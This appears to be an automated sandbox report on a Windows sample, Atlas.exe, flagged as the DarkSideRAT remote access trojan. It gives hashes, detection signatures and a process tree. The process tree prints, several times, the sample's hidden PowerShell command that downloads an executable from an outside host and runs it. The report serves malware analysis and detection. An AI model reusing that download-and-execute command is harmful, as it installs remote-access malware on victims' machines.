Analysis
- max time kernel
150s - max time network
123s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260618-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260618-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
26/06/2026, 09:50
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
Atlas.exe
Resource
win10v2004-20260513-en
10 signatures
150 seconds
Behavioral task
behavioral2
Sample
Atlas.exe
Resource
win11ltsc2024-20260618-en
9 signatures
150 seconds
General
- Target Atlas.exe
- Size 16.8MB
- Sample260626-lvdc8aas71
- SHA256 e5f25c12dea1252d500a26fddbf016f343a32bc42cf6da0001f98c6224f92710
- MD5 d980d3eaabf442a9fcda4e24e84d14f7
- SHA1 b307c8868a2d8c2069862af37168cebddbc15ff3
- SHA512 a9293ef78cf5495f10febbb308b48e65d01a5fc3196e27d25a5b612fdc78fcfd57bf7638b0ed66e603ba70b3b1225e3927008e858ff16435c4d9cd7f82077a0f
- SSDEEP 393216:OI/1FqD6I9JhfhrnblRmRJXDg5fzMTn3:O0zIrJrnbX5Y7
- TLSH T1AF072316F3D546A9D466D138C642A723EB32782A0322CBDF73DA19611FA71F04E7DB42
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
Malware Config
Signatures
- Family: DarkSideRAT
DarkSideRAT is a remote access trojan.
- Detects DarkSideRAT 1 IoCs
resource yara_rule behavioral2/files/0x000e00000001c567-18.dat family_darksiderat - Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 2 5804 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 5804 powershell.exe - Executes dropped EXE 1 IoCs
pid Process 5200 BK105251.exe - Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 5804 powershell.exe 5804 powershell.exe 3052 Atlas.exe 3052 Atlas.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 5804 powershell.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 3052 Atlas.exe - Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 3052 wrote to memory of 4372 3052 Atlas.exe 89 PID 4372 wrote to memory of 560 4372 cmd.exe 91 PID 560 wrote to memory of 5804 560 cmd.exe 93 PID 5804 wrote to memory of 5200 5804 powershell.exe 95
Processes
-
C:\Users\Admin\AppData\Local\Temp\Atlas.exe"C:\Users\Admin\AppData\Local\Temp\Atlas.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3052 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:APPDATA\BK105251.exe; Start-Process -FilePath $env:APPDATA\BK105251.exe -WindowStyle Hidden }"2⤵
- Suspicious use of WriteProcessMemory
PID:4372 -
C:\Windows\system32\cmd.execmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:APPDATA\BK105251.exe; Start-Process -FilePath $env:APPDATA\BK105251.exe -WindowStyle Hidden }"3⤵
- Suspicious use of WriteProcessMemory
PID:560 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:APPDATA\BK105251.exe; Start-Process -FilePath $env:APPDATA\BK105251.exe -WindowStyle Hidden }"4⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5804 -
C:\Users\Admin\AppData\Roaming\BK105251.exe"C:\Users\Admin\AppData\Roaming\BK105251.exe"5⤵
- Executes dropped EXE
PID:5200
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc1⤵PID:5596
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Roaming\BK105251.exe
- Size 67KB
- SHA256 245c4870dbf4b2f0102835addb1780d845bd1c31d5ac2a8ac7a5dfe993d6365f
- MD5 32b268f7114cd6816d3b1c0558e88f95
- SHA1 1d0caf4582173eb45e0be05134ed432a21f5af55
- SHA512 9b453ea4ac1ec6f216629ca16654e78f02fb61af8158eb3153e3fbecaae8e78b50c53242c4e76a93d59f3f3150392805a18892b103cd689d6814c7984b5e866b
- SSDEEP 768:d8w6iBGb+IyfJoTOBPca/CCNNl1uHBNdXIBMEB44w7Fv6NDzSkzNT2L:PIyfiTOpZNiMMuw7Z6NDzPNTI
- TLSH T18363E735C9A9B13FD3199C78DE060D84DF62BC8A4784BF97A7D11CE60F92A902F1D681
- MD5 SHA1 SHA512 SSDEEP TLSH